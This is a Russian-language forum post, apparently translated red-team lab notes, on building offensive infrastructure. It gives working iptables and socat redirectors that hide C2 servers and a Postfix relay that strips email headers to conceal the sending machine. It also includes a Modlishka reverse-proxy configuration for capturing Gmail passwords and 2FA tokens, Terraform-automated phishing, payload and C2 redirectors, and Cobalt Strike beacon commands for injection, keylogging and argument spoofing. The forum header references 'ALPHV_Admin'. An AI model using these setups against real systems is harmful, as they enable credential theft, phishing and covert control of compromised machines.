• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Наступательная Безопасность - Инфраструктура Красной команды

Titan

Пользователь
Registered
Регистрация
05.01.2020
Сообщения
46
Розыгрыши
0
Реакции
0
Titan не предоставил(а) никакой дополнительной информации.
HTTP-форвардеры/ретрансляторы

Сокрытие атакующих хостов с помощью редиректоров/ретранляторов трафика с помощью iptables или socat.

Цель

Редиректоры или ретранляторы трафика — это, по сути, прокси между сервером red teaming (скажем, сервером для отправки фишинговых писем или C2) и сервером-жертвой — жертва <> re-director <> team server.

Цель хоста редиректора, как обычно такая:

- Скрыть сервер красной команды, скрыв его IP-адрес. Другими словами, жертва увидит трафик, исходящий от хоста редиректора, а не от командного сервера.

- Если службы реагирования на инциденты обнаружат подозрительную активность, исходящую от перенаправителя, его можно "легко" вывести из эксплуатации и заменить другим, что "проще", чем перестраивать командный сервер.

Переадресация HTTP с помощью iptables

Я рассмотрю простые HTTP-серверы пересылки, которые просто прослушивают заданный интерфейс и порт и перенаправляют весь трафик, который они получают через этот порт, на порт прослушивателя на командном сервере.

Моё окружение в этой лаборатории такое:

- Командный сервер и порт прослушивания: 10.0.0.2:80

- Редирект хост и порт прослушивания: 10.0.0.5:80

- Хост жертвы: 10.0.0.11

Простой способ создать редиректор HTTP — использовать Linux-систему и ее возможности iptables.

Ниже показано, как превратить Linux-систему в редиректор HTTP. В этом случае весь HTTP-трафик на 10.0.0.5:80 (перенаправитель) будет перенаправлен на 10.0.0.2:80 (сервер группы):

iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.2:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1


Проверяем успешность создания правил iptables:

1667246659289.png



Тестирование iptables

Смоделируем упрощенный обратный шелл от системы-жертвы 10.0.0.11 к атакующей системе 10.0.0.2, используя нашу систему-перенаправитель 10.0.0.5 в качестве прокси, и проверим трафик, проходящий по проводу — если перенаправитель был настроен правильно, мы должны увидеть, что системы 10.0.0.11 и 10.0.0.2 не будут общаться напрямую - весь трафик будет проходить через ящик на 10.0.0.5 и 10.0.0.2 (атакующая система) не будет виден жертве 10.0.0.11:

1667246680116.png



При более внимательном рассмотрении трафика/диалогов между конечными точками мы ясно видим, что система-жертва 10.0.0.11 ни разу не взаимодействовала напрямую с атакующей системой 10.0.0.2 — все коммуникации проходили через хост-перенаправитель 10.0.0.5, как описано ранее:

1667246698453.png



Переадресация HTTP с помощью SOCAT

SOCAT — еще один инструмент, который можно использовать для переадресации трафика по "тупому пайпу". Среда в этом упражнении остается такой же, как и в предыдущем сценарии.

Настройка редиректора HTTP с помощью socat такая:

socat TCP4-LISTEN:80,fork TCP4:10.0.0.2:80

1667246729315.png
 
SMTP-форвардеры/ретрансляторы

SMTP редиректоры + удаление заголовков электронной почты

Настройка почтового сервера ретрансляции

Я собираюсь настроить почтовый сервер, который позже будет использоваться в качестве сервера ретрансляции SMTP. Во-первых, в Digital Ocean был создан новый дроплет Ubuntu:


1667247579101.png



Постфикс MTA был установлен на дроплете так:

apt-get install postfix


Во время установки постфикса я установил nodspot.com в качестве почтового имени. После установки это можно проверить/изменить здесь:

root@ubuntu-s-1vcpu-1gb-sfo2-01:~# cat /etc/mailname
nodspot.com

DNS-записи


Записи DNS для nodspot.com должны быть обновлены следующим образом:

1667247615425.png



1667247630603.png



Тестирование почтового сервера

После установки постфикса и настройки DNS-записей мы можем проверить, работает ли почтовый сервер:

telnet mail.nodspot.com 25


В случае успеха вы должны увидеть что-то вроде этого:

1667247646757.png



Мы можем дополнительно проверить, работает ли почтовый сервер, попытавшись отправить реальное электронное письмо следующим образом:

root@ubuntu-s-1vcpu-1gb-sfo2-01:~# sendmail mantvydo@gmail.com
yolo
,
.


Вскоре на мой gmail приходит письмо:

1667247667441.png



.. со следующими заголовками - все как положено. Обратите внимание, что на данный момент исходный IP-адрес, отображаемый в заголовках, — это IP-адрес моего дроплета 206.189.221.162:

Delivered-To: mantvydo@gmail.com
Received: by 2002:a81:1157:0:0:0:0:0 with SMTP id 84-v6csp5026946ywr;
Tue, 2 Oct 2018 12:22:38 -0700 (PDT)
X-Google-Smtp-Source: ACcGV62oH69fwYnfV1zg+o+jbTpjQIzIzASmjoIsXbbfvdevE0LlkY32jflNS/acOtNBXiwzxYxP
X-Received: by 2002:a62:6547:: with SMTP id z68-v6mr17716388pfb.20.1538508158395;
Tue, 02 Oct 2018 12:22:38 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1538508158; cv=none;
d=google.com; s=arc-20160816;
b=FpEgLAICLn66cI+DDvpIsStUrReQ8fArcreT7FyS8SYcFQXFiK44HDcxwVHXCA8Xxb
fUl+3HcerQEznHZMttZ4pZIMbN18pJS08wzuZdOlhGKAA2JSTkxGd+1PhJwDe1SFTYZc
NoARSHL9opemJKg5YqZNjSTDSTfk/QqaCbq7mQL9LAwCKzanGSNR/R/28WymYrdRACOR
GSmDCVvPaUaoemIP8+GwXkfU5Gkk49+F7t9Jbg23HKKq/YOhwF3ryeOEVfn74bhtZIkM
QcUzWn5WSL0lIm0nbd2t7677/wcabOg0TCoZj1IHg+I7yLXE7+QZOYX1TguKu16oZeqt
mTIA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
h=from:date:message-id;
bh=VSFU9fKoMQMmtQzPFdmefDuA+phTpwZXd9k5xGRzwRs=;
b=VZ2vHjhPUSs17PXAUDyjYzm0w5sdQYqFx7h9iirh/BF1krrl3MQg4QAgfeo0py9qZH
Xf8/9HmNe1pIgxnZiiZJeVijXeSHCIB4XkG4HYFJY2m/gQ9oZ4JSMfX/Kiw/CXEmbt71
YP5S7yQKQNkHw24XnP3WUeDDQ7XvENEfPIS+LlCVtQOPT8fM9TAWQReKz06idynolfhR
7P73wH8igwPea7586wdhSOtDYCURSMKTNVb8yP2eEPNBlP2u2jUrFImG2D2/lke4O6Iu
7zu96tCYEY9FVG11dPFheKlMjvMoL4rqPSAQ3zty4Cbi4Vy2Is6f/VF8AYZ34i0FJooj
eEkw==
ARC-Authentication-Results: i=1; mx.google.com;
spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com
Return-Path: <root@nodspot.com>
Received: from ubuntu-s-1vcpu-1gb-sfo2-01 ([206.189.221.162])
by mx.google.com with ESMTP id 38-v6si3160283pgr.237.2018.10.02.12.22.38
for <mantvydo@gmail.com>;
Tue, 02 Oct 2018 12:22:38 -0700 (PDT)
Received-SPF: pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) client-ip=206.189.221.162;
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com
Received: by ubuntu-s-1vcpu-1gb-sfo2-01 (Postfix, from userid 0) id DC6DD3F156; Tue,
2 Oct 2018 19:22:37 +0000 (UTC)
Message-Id: <20181002192237.DC6DD3F156@ubuntu-s-1vcpu-1gb-sfo2-01>
Date: Tue,
2 Oct 2018 19:22:31 +0000 (UTC)
From: root <root@nodspot.com>

yolo
,

Настройка исходящего почтового сервера


Нам нужно настроить исходный почтовый сервер, который будет использовать сервер, который мы настроили ранее, в качестве сервера ретрансляции. Для этого на своей атакующей машине я установил почтовый сервер postfix.

Следующее, что нужно сделать, это изменить /etc/postfix/main.cf и установить relayhost=nodspot.com, чтобы исходящие электронные письма из атакующей системы направлялись на почтовый сервер nodspot.com (сервер, который мы настроили выше) первый:

1667247700631.png



После внесения изменений и перезагрузки сервера postfix мы можем попробовать отправить тестовое письмо с атакующего сервера:

1667247711931.png



Если вы не получили электронное письмо, убедитесь, что сервер ретрансляции не запрещает доступ для атакующей машины. Если вы видите, что ваши электронные письма откладываются (на атакующей машине) с приведенным ниже сообщением, это именно то, что происходит:

1667247724898.png



Как только проблема с релеем будет решена, мы можем повторить тест и увидеть успешный релей:

1667247774895.png



На этот раз заголовки выглядят так:

1667247736537.png



Обратите внимание, что на этот раз мы наблюдаем детали исходного хоста, такие как имя хоста и IP-адрес — это нежелательно, и мы хотим отредактировать эту информацию.

Удаление конфиденциальных заголовков в Postfix

Нам нужно внести некоторые изменения в конфигурацию сервера ретрансляции, чтобы отредактировать заголовки исходящих писем.

Во-первых, давайте создадим на сервере файл, содержащий регулярные выражения, которые будут искать заголовки, которые мы хотим удалить:

/^Received:.*/ IGNORE
/^X-Originating-IP:/ IGNORE
/^X-Mailer:/ IGNORE
/^Mime-Version:/ IGNORE


Далее нам нужно изменить файл /etc/postfix/master.cf, включив в него следующую строку: -o header_checks=regexp:/etc/postfix/header_checks:

1667247808021.png



Это укажет серверу постфикса удалить заголовки из исходящих писем, которые соответствуют регулярным выражениям, найденным в файле, который мы создали выше.

Сохраните изменения и перезагрузите сервер postfix:

postmap /etc/postfix/header_checks
postfix reload


Теперь снова отправьте тестовое письмо с атакующей машины и проверьте заголовки этого письма:

1667247842381.png



1667247856586.png



Обратите внимание, как были удалены заголовки Received, раскрывающие исходную (атакующую) машину, чего мы и хотели добиться:

Delivered-To: mantvydo@gmail.com
Received: by 2002:a81:1157:0:0:0:0:0 with SMTP id 84-v6csp5668508ywr;
Wed, 3 Oct 2018 03:47:35 -0700 (PDT)
X-Google-Smtp-Source: ACcGV614wuffoVOsvFkTPPxCiRj0hgFwTIH7y3B4ziIaXfogLFjsoiFyYOdNVChhr+oRcL1axO+a
X-Received: by 2002:a17:902:a9cc:: with SMTP id b12-v6mr988630plr.198.1538563655360;
Wed, 03 Oct 2018 03:47:35 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1538563655; cv=none;
d=google.com; s=arc-20160816;
b=qhbzI+R3vHbkqwp2ALOEQ0ItUXU/fA1kEmYln1dBe0CmLELuIfourst4gZVYiU0tAf
sRx20Z5Vcqvv9w6s6f2gVp6crlOuoX2cSKJCn/HyRYKiDB5aVKpEYTDjQtGEBRLoL9xm
/T8+3PgV6CHy/KowoPeLugKg3t5mIh9pq+Ig8gG+VVKZcFyvUBJa9YEgBgVKcMwew8H6
x8WzIB2zyavpZLnbIi6SrtheYZAeSTMTwXRutqxZl0n4O/iZS4Y+ZVdRlYeXFXFNdtMK
JFaS1XVLR4hYXOzlQT1IC2yeQlqf+Q3FJukmkDlDTgw91ImfZa0HtQYQoo3LwKotp92Q
1HiQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
h=from:date:message-id;
bh=hZH42YPrA1C1YyKkQ/LM0S6pyh9p5LGmoqE/s4CGGts=;
b=Squ71HtAuuwYHfX+4z63WcgBMoiKbcX5KAQLKwfvlnXuF5QEJNHjfX0GwekViXJIZ5
D2v03648ni6W3/b6uXVoecrtX0MZ9Z/Ck+LxcJRi16toE4QfjR6fhX5l9OSKFjgqkst3
Exk9yB1iiX8IAoIvnSaT0pQ5UzOov5Yneti3HO8QbzeCnT1/HieLwIhB/d+znryw1mTQ
jj/VBlNEGFEJhpXjS7cbQFHQEz3yGl1YTSNB3Kxp9T5a7+ncsW3pOAlfKqNYpVywSlBe
s6OUSTZ/bEwVYP3dv9aHmbpOIV6rC8uPgUlm+SKYtlj9xiR9uXTtj21IbA0F1esFx+Up
jAQw==
ARC-Authentication-Results: i=1; mx.google.com;
spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com
Return-Path: <root@nodspot.com>
Received: from ubuntu-s-1vcpu-1gb-sfo2-01 ([206.189.221.162])
by mx.google.com with ESMTP id y11-v6si1190446plg.237.2018.10.03.03.47.35
for <mantvydo@gmail.com>;
Wed, 03 Oct 2018 03:47:35 -0700 (PDT)
Received-SPF: pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) client-ip=206.189.221.162;
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of root@nodspot.com designates 206.189.221.162 as permitted sender) smtp.mailfrom=root@nodspot.com
Message-Id: <20181003104734.1871F42006E@kali>
Date: Wed, 3 Oct 2018 11:47:28 +0100 (BST)
From: root <root@nodspot.com>

removing traces like a sir



Эта экспериментальная лабораторка не предназначена для работы с электронными письмами, помеченными Gmail как фишинговые. Это, однако, связано с настройкой записей DKIM, PTR и т.п.
 
Фишинг с обратным HTTP-прокси Modlishka

В этой лабораторной работе показано, как настроить реверс HTTP-прокси Modlishka, который можно использовать в фишинговых кампаниях для кражи паролей пользователей и токенов 2FA. Modlishka делает это возможным, потому что она находится посередине между веб-сайтом, который вы выдаете за хороший, и жертвой (MITM), записывая весь трафик/токены/ пароли, которые проходят через него.

Настрайка

Давайте начнем с создания нового дроплета DigitalOcean, самого маленького более чем достаточно:

1667248658005.png



После входа в систему установите certbot и загрузите сам бинарный файл Modlishka:

apt install certbot
wget Для просмотра ссылки Войди или Зарегистрируйся
chmod +x Modlishka-linux-amd64 ; ls -lah

1667248696665.png



Конфигурация Модлишки


Создадим конфигурационный файл для модлишки:

1667248706029.png



{
//domain that you will be tricking your victim of visiting
"proxyDomain": "redteam.me",
"listeningAddress": "0.0.0.0",

//domain that you want your victim to think they are visiting
"target": "gmail.com",
"targetResources": "",
"targetRules": "PC9oZWFkPg==:",
"terminateTriggers": "",
"terminateRedirectUrl": "",
"trackingCookie": "id",
"trackingParam": "id",
"jsRules":"",
"forceHTTPS": false,
"forceHTTP": false,
"dynamicMode": false,
"debug": true,
"logPostOnly": false,
"disableSecurity": false,
"log": "requests.log",
"plugins": "all",
"cert": "",
"certKey": "",
"certPool": ""
}

Подстановочные сертификаты


Важно! Давайте создадим подстановочный сертификат для моего домена. Я хочу, чтобы мои жертвы фишинга попадали на *.redteam.me:

certbot certonly --manual --preferred-challenges=dns --server Для просмотра ссылки Войди или Зарегистрируйся --agree-tos -d *.redteam.me --email noreply@live.com

Это сгенерирует код вызова, как показано ниже:

1667248741236.png



Нам нужно создать запись DNS TXT в консоли управления DNS для redteam.me, которая в моем случае находится в Digital Ocean:

1667248770470.png



После создания записи DNS TXT продолжите создание сертификата:

1667248779659.png



После создания сертификатов нам нужно преобразовать их в формат, подходящий для встраивания в объекты JSON:

awk '{printf "%s\\n", $0}' /etc/letsencrypt/live/redteam.me/fullchain.pem
awk '{printf "%s\\n", $0}' /etc/letsencrypt/live/redteam.me/privkey.pem


1667248800844.png



Как только это будет сделано, скопируйте содержимое сертификатов в конфигурацию — fullchain.pem в сертификат и privkey.pem в certKey:

1667248834728.png



Больше DNS-записей

Давайте создадим запись A для корневого хоста @, которая просто указывает на IP-адрес дроплета:

1667248847318.png



Это очень важно - нам нужна запись CNAME для любого хоста/субдомена *, указывающая на @

1667248855431.png



Запуск Modlishka

Теперь мы готовы начать тест, запустив modlishka и предоставив ей конфигурационный файл modlishka.json:

./Modlishka-linux-amd64 -config modlishka.json

Ниже показано, как при посещении redteam.me я получаю содержимое gmail.com, что свидетельствует о том, что Modlishka и MITM работают. Опять же, важно отметить это — мы не создавали никаких копий или шаблонов целевого веб-сайта — жертва на самом деле просматривает gmail, просто она обслуживается через Modlishka, где проверяется трафик и перехватываются пароли:

1667248880921.png
 
Автоматизация инфраструктуры Red Team с помощью Terraform

Контекст


Цель этой лабораторной работы состояла в том, чтобы не запачкать руки при создании простой, устойчивой и легко заменяемой инфраструктуры красной команды. Кроме того, я хотел поиграть с концепцией "Инфраструктура как код", поэтому я решил поработать с инструментом, о котором слышал уже некоторое время — Terraform.

Кредиты

Автоматизированная инфраструктура для работы с красными командами — не новая концепция, как раз наоборот. Я черпал вдохновение из замечательной работы @_RastaMouse (Для просмотра ссылки Войди или Зарегистрируйся), где он объяснял свой процесс создания автоматизированной среды для красных команд. Он взял за основу отличную вики (Для просмотра ссылки Войди или Зарегистрируйся) Стива Бороша и Джеффа Диммока — именно этот ресурс я использовал при лабораторных исследованиях ниже:

Обзор инфраструктуры

Ниже приведена диаграмма, показывающая инфраструктуру, которую я построил для этого лабораторного занятия. Она может быть и обычно гораздо более развита, но принцип остается тем же — перед каждым сервером размещаются перенаправители, чтобы сделать инфраструктуру более устойчивой к обнаружению, что позволяет операторам быстро заменить сгоревшие серверы на новые:

1667250259061.png



- Всего 6 серверов

- 3 сервера (фишинг, полезная нагрузка и c2) считаются долгосрочными серверами - мы не хотим, чтобы наши дружелюбные синие команды обнаружили их

- 3 редиректора (ретранслятор smtp, редиректор полезной нагрузки и редиректор c2) — это серверы, которые находятся перед нашими долгосрочными серверами и действуют как прокси. Предполагается, что эти серверы будут обнаружены и сожжены во время боя. Именно здесь вступает в действие часть автоматизации Terraform — поскольку состояние нашей среды определяется в файлах конфигурации Terraform, мы можем восстановить эти сгоревшие серверы практически мгновенно, и операция может продолжаться без больших перерывов.

Настройка инфраструктуры

Поставщики услуг


Инфраструктура моей тестовой команды Red Team построена с использованием следующих сервисов и поставщиков:

- DigitalOcean Droplets для всех серверов и редиректоров

- DigitalOcean DNS - управление для smtp-ретранслятора (фишинговый редиректор) — в основном потому, что нам нужна возможность установить запись PTR DNS для нашего smtp-ретранслятора, чтобы уменьшить вероятность того, что наша фишинговая электронная почта будет классифицирована как спам почтовыми шлюзами целевых пользователей.

- CloudFlare DNS менеджмент для управления записями DNS для любых других доменов, которые указывают на наши долгосрочные серверы.

Однако обратите внимание, что вы можете создавать свои серверы с помощью Amazon AWS или другого популярного поставщика VPS, если он поддерживается Terraform (Для просмотра ссылки Войди или Зарегистрируйся) . То же самое относится к части управления DNS. Я использовал DigitalOcean и CloudFlare, потому что у меня уже были учетные записи, и они мне нравятся ¯\(ツ)

Структура файла

Инфраструктура моей красной команды определяется файлами конфигурации состояния terraform, которые в настоящее время организованы следующим образом:

1667250285148.png



Я думаю, что имена файлов говорят сами за себя, но ниже приведена дополнительная информация о некоторых файлах конфигурации:

- Папка -Configs — все файлы конфигурации, которые были слишком большими или неудобными для изменения во время создания дроплета с помощью поставщиков Terraform. Он включает в себя конфигурации для перенаправителя полезной нагрузки (apache: .htaccess, apache2.conf), перенаправителя smtp (postfix: header_checks — для удаления заголовков электронной почты исходного smtp-сервера, master.cf — общая конфигурация постфикса для TLS и opendkim, opendkim.conf - настройка интеграции DKIM с постфиксом)

- providers - требуется для построения такой инфраструктуры, как DigitalOcean и CloudFlare в моем случае

- variables — хранит ключи API и аналогичные данные, используемые в разных файлах состояния terraform.

- sshkeys — хранит ssh-ключи, с которых наши серверы и редиректоры будут принимать вход в систему.

- dns — определяет записи DNS и указывает, как можно получить доступ к нашим серверам и редиректорам.

- брандмауэры - определить правила доступа - кто может получить доступ к какому серверу

- outputs — файл, который выводит ключевые IP-адреса и доменные имена построенной инфраструктуры

Другие ключевые моменты по паре файлов изложены ниже.

Переменные

Variables.tf хранит такие вещи, как токены API, имена доменов для редиректоров и c2, IP-адреса операторов, которые используются в правилах брандмауэра (т. е. разрешают входящие подключения к командному серверу или GoPhish только с IP-адреса, принадлежащего оператору):

1667250311472.png



Кроме того, variable.tf содержит ссылку на защищенный паролем zip-архив Cobalt Strike и сам пароль:

1667250322144.png




1667250329095.png



С2

Для этой лабораторной я выбрал Cobalt Strike в качестве C2-сервера.

Ниже приведен remote-exec Terraform для сервера C2, который загружает CS zip, распаковывает его с заданным паролем CS и создает задание cron, чтобы убедиться, что сервер C2 запущен после загрузки сервера:

1667250341962.png



C2 редиректор

Я использую socat, чтобы просто перенаправить весь входящий трафик через порты 80 и 443 на основной сервер HTTP C2, на котором работает командный сервер Cobalt Strike:

1667250351125.png



Тестирование C2 и C2 редиректора

Легко проверить, работают ли ваш C2 и его редиректоры должным образом.

Примечание ниже — пара полных доменных имен, которые были распечатаны Terraform при выполнении файла outputs.tf: static.redteam.me и ads.redteam.me оба указывают на 159.203.122.243 — это IP-адрес редиректора C2 — любой трафик на порту 80 и 443 будут перенаправлены на главный сервер C2, который размещен по адресу 68.183.150.191, как показано на втором изображении ниже:

1667250360296.png



1667250377337.png



Ниже гифка показывает тест в действии, а шаги следующие:

1. Cobalt Strike запускается и подключается к основному C2-серверу, расположенному по адресу 68.183.150.191, доступ к которому осуществляется через css.ired.team.

2. Создается новый слушатель на порту 443 на хосте C2 68.183.150.191.

3. Маячок hostsname настроен на два поддомена на редиректоре C2 - static.redteam.me и ads.redteam.me

4. Бесступенчатый маячок генерируется и выполняется в целевой системе через SMB.

5. Маячок обращается к *.redteam.me, который перенаправляет трафик на командный сервер C2 по адресу 68.183.150.191, и мы видим всплывающее окно сеанса CS:

1667250387183.png



Ниже приведен скриншот tcpdump на сервере C2, который показывает, что IP-адрес перенаправителя (organge, 159.203.122.243) инициировал подключение к C2 (синий, 68.183.150.191):

1667250396224.png



Фишинг

На моем фишинговом сервере работает платформа GoPhish, о которой я рассказываю здесь:

Для просмотра ссылки Войди или Зарегистрируйся

GoPhish настроен на прослушивание порта 3333, который я открываю для Интернета, но разрешаю доступ только оператору, использующему брандмауэры DigitalOcean:

1667250411204.png



Опять же - var.operator-ip прописывается в variable.tf

1667250423152.png



Фишинговый редиректор

Это была самая трудоемкая часть для настройки. Известно, что настройка SMTP-серверов обычно представляет собой огромную боль. Стоит автоматизировать инфраструктуру красной команды только потому, что вам никогда не придется перестраивать SMTP-сервер с нуля, если он сгорит во время боя.

Боль для этой части возникла из-за настройки релея smtp, поскольку в нем было несколько активных частей:

- настройка SPF-записей

- настройка ДКИМ

- настройка шифрования

- настройка постфикса как ретранслятора

- очистка заголовков электронной почты для сокрытия исходного почтового сервера (фишингового сервера)

Тестирование фишингового редиректора

После того, как инфраструктура настроена, DNS-зона фишингового редиректора (smtp relay) должна иметь записи spf, dkim и dmarc, аналогичные приведенным здесь:

1667250440436.png



После того, как записи DNS сделаны, мы можем отправить быстрое тестовое электронное письмо на gmail с фактического фишингового сервера через сервер ретрансляции и посмотреть, проверяют ли spf, dkim и dmarc PASS, что, как мы видим ниже, они сделали в нашем случае, предполагая фишинг/smtp реле настроено правильно:

telnet redteam.me 25
helo redteam.me
mail from: olasenor@redteam.me
rcpt to: mantvydo@gmail.com
data
to: Mantvydas Baranauskas <mantvydo@gmail.com>
from: Ola Senor <olasenor@redteam.me>
subject: daily report

Hey Mantvydas,
As you were requesting last week - attaching as promised the documents needed to keep the project going forward.

Перенаправитель полезной нагрузки


Сервер перенаправления полезной нагрузки построен на модулях apache2 mod_rewrite и прокси. Модуль Mod_rewrite позволяет нам писать подробные правила перезаписи URL-адресов и HTTP-запросы прокси-жертвы для соответствующих полезных данных, которые оператор сочтет целесообразными.

1667250466437.png



Ниже приведен файл .htaccess, который инструктирует apache, или, если быть точным, модуль mod_rewrite, когда, где и как (например, прокси или перенаправление) переписывать входящие HTTP-запросы:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "android|blackberry|googlebot-mobile|iemobile|ipad|iphone|ipod|opera mobile|palmos|webos" [NC]
RewriteRule ^.*$ Для просмотра ссылки Войди или Зарегистрируйся [P]
RewriteRule ^.*$ Для просмотра ссылки Войди или Зарегистрируйся{REQUEST_URI} [P]


Разбивка файла:

- Строка 2 по сути говорит: эй, apache, если вы видите входящий HTTP-запрос с пользовательским агентом, который содержит любое из слов "android, blackberry, ..." и т. д., перейдите к строке 3.

- Строка 3 инструктирует apache проксировать ([P]) http-запрос на Для просмотра ссылки Войди или Зарегистрируйся условие в строке 2 не выполняется, перейти к строке 4

- Если условие в строке 2 не выполняется, HTTP-запрос передается на Для просмотра ссылки Войди или Зарегистрируйся{REQUEST_URI}, где REQUEST_URI — это часть http-запроса, добавленная после имени домена, т. е. someDomain.com/?thisIsTheRequestUri=true.

Скриншот ниже должен иллюстрировать вышеуказанную концепцию:

1. Зеленая подсветка — мы использовали curl (и его UA по умолчанию), который, согласно файлу .htaccess, должен был перенаправить нас на payloadURLForOtherClients — что, как мы видим, он пытался сделать, но, конечно, потерпел неудачу, поскольку это тест и неразрешимая хост указан

2. Розовый цвет — мы снова свернули редиректор полезной нагрузки, но на этот раз с поддельным UA, маскируя HTTP-запрос, как если бы он исходил от iphone — мы видим, что apache правильно попытался передать запрос через хост payloadURLForMobiles :

1667250505543.png



Вывод

Outputs.tf содержит DNS-имена ключевых серверов и их IP-адреса для справки оператору:

1667250518704.png



Также обратите внимание на последний выделенный бит — указание оператору выполнить команду ./finalize.sh из рабочего каталога. Он установит сертификаты LetsEncrypt на сервер ретрансляции smtp, а также распечатает TXT-запись DKIM DNS, которую необходимо добавить в записи DNS DigitalOcean для домена ретрансляции smtp:

1667250529361.png



Для удобства создается DNS-запись mail._domainkey с фиктивным значением "Я DKIM, но измените DKIM из finalize.sh" (файл dns.tr) — это значение необходимо заменить выделенным выше значением DKIM. Это предоставляется сценарием finalize.sh.

В идеале этот шаг должен быть автоматизирован во время начальной загрузки дроплета, но я пока не мог этого сделать из-за некоторых ошибок Terraform, с которыми столкнулся.

Ниже показаны (сверху вниз):

- Конфигурация terraform, которая устанавливает новый заполнитель записи DNS TXT для DKIM.

- Тerraform создание записи DNS TXT на основе приведенной выше конфигурации из dns.tf

- Фактический результат - заполнитель записи DNS TXT для домена redteam.me

1667250543326.png



Скачать и попробовать

Если вы хотите протестировать эту настройку, не стесняйтесь загружать файлы конфигурации отсюда:

Для просмотра ссылки Войди или Зарегистрируйся
github.com

Для просмотра ссылки Войди или Зарегистрируйся

Disposable and resilient red team infrastructure with Terraform - GitHub - mantvydasb/Red-Team-Infrastructure-Automation: Disposable and resilient red team infrastructure with Terraform
github.com
github.com
 
Cobalt Strike 101

Эта лабораторная предназначена для изучения расширенного инструмента тестирования на проникновение/пост-эксплуатации Cobalt Strike.

Определения

- Listener — служба, работающая на C2-сервере атакующего, которая прослушивает обратные вызовы маячка.

- Beacon — вредоносный агент/имплантат на скомпрометированной системе, который обращается к системе, контролируемой злоумышленником, и проверяет любые новые команды, которые должны быть выполнены на скомпрометированной системе.

- Team server — серверный компонент Cobalt Strike. Командный сервер — это место, где настраиваются и запускаются прослушиватели маяков.

Приступим

Командный сервер

# the syntax is ./teamserver <serverIP> <password> <~killdate> <~profile>
# ~ optional for now
root@/opt/cobaltstrike# ./teamserver 10.0.0.5 password


Обратите внимание, что в реальных условиях работы с красными командами вы размещаете серверы групп за перенаправителями, чтобы повысить устойчивость вашей атакующей инфраструктуры. См. инфраструктуру Red Team (Для просмотра ссылки Войди или Зарегистрируйся)

1667251258500.png



Клиент Cobalt Strike

root@/opt/cobaltstrike# ./cobaltstrike


Введите следующее:

- host — IP-адрес или DNS-имя командного сервера.

- user - что угодно - это просто никнейм

- password - пароль вашего командного сервера

1667251278501.png



Демо

Все вышеперечисленные шаги показаны ниже в одной анимированной гифке:

1667251288890.png



Настройка прослушивателя

Дайте вашему слушателю описательное имя и номер порта, к которому командный сервер должен привязываться и слушать:

1667251298813.png



Генерация бесступенчатой полезной нагрузки

Создайте автономный исполняемый маячок — выберите прослушиватель, к которому будет подключаться ваша полезная нагрузка, и архитектуру полезной нагрузки, и все готово:

1667251308394.png



Получение первого коллбэка


Слева — машина-жертва, выполняющая ранее сгенерированный маячок, а справа — клиент Cobalt strike, подключенный к командному серверу и перехватывающий обратный вызов маячка:

1667251318844.png



Взаимодействие с маячком

Щелкните правой кнопкой мыши маячокк и выберите взаимодействие. Обратите внимание на новую вкладку, открывающуюся внизу страницы, которая позволяет злоумышленнику отдавать команды маячку:

1667251328253.png



Интересные команды и функции

Argue


Команда Argue позволяет злоумышленнику подделать аргументы командной строки запускаемого процесса.

Ниже приведены поддельные параметры командной строки калькулятора:

beacon> argue calc /spoofed
beacon> run calc

1667251345564.png



Обратите внимание на различия в параметрах командной строки, захваченных в sysmon и procexp:

1667251484732.png



Подмена аргумента выполняется путем манипулирования структурами памяти в блоке Process Environment, о котором у меня есть некоторые примечания:

Inject

Inject очень похож на функцию migrate metasploit и позволяет злоумышленнику дублировать свой маяк в другой процесс в системе-жертве:

beacon> help inject
Use: inject [pid] <x86|x64> [listener]

inject 776 x64 httplistener


Обратите внимание, как после внедрения маячка в PID 776 создается еще один сеанс:

1667252045957.png



Кейлоггер

beacon> keylogger 1736 x64

1667252070638.png



Скриншот

beacon> screenshot 1736 x64

Runu


Runu позволяет нам запускать новый процесс из указанного родительского процесса:

runu 2316 calc

1667252098531.png



Psinject


Эта функция позволяет злоумышленнику выполнять сценарии PowerShell из-под любого процесса в системе-жертве. Обратите внимание, что PID 2872 — это процесс calc.exe, показанный на снимке экрана выше, связанный с runu:

beacon> psinject 2872 x64 get-childitem c:\


1667252114916.png



Зеленым цветом выделены новые дескрипторы, которые открываются в целевом процессе при внедрении скрипта powershell:

1667252123493.png



Spawnu

Создайте сеанс с полезной нагрузкой powershell из заданного родительского PID:

beacon> spawnu 3848 httplistener


1667252140821.png



1667252148030.png



Пивотинг браузера

Эта функция позволяет злоумышленнику использовать сеансы просмотра скомпрометированных пользователей.

Как работает эта атака, лучше всего объяснить на примере:

- Жертва входит в какое-то веб-приложение с помощью Internet Explorer.

- Зоумышленник/оператор создает пивотинг браузера, выполнив команду browserpivot.

- Маячок создает прокси-сервер в системе-жертве (точнее, в процессе Internet Explorer), привязывая и прослушивая порт, скажем, 6605.

- Командный сервер связывается и начинает прослушивать порт, скажем, 33912

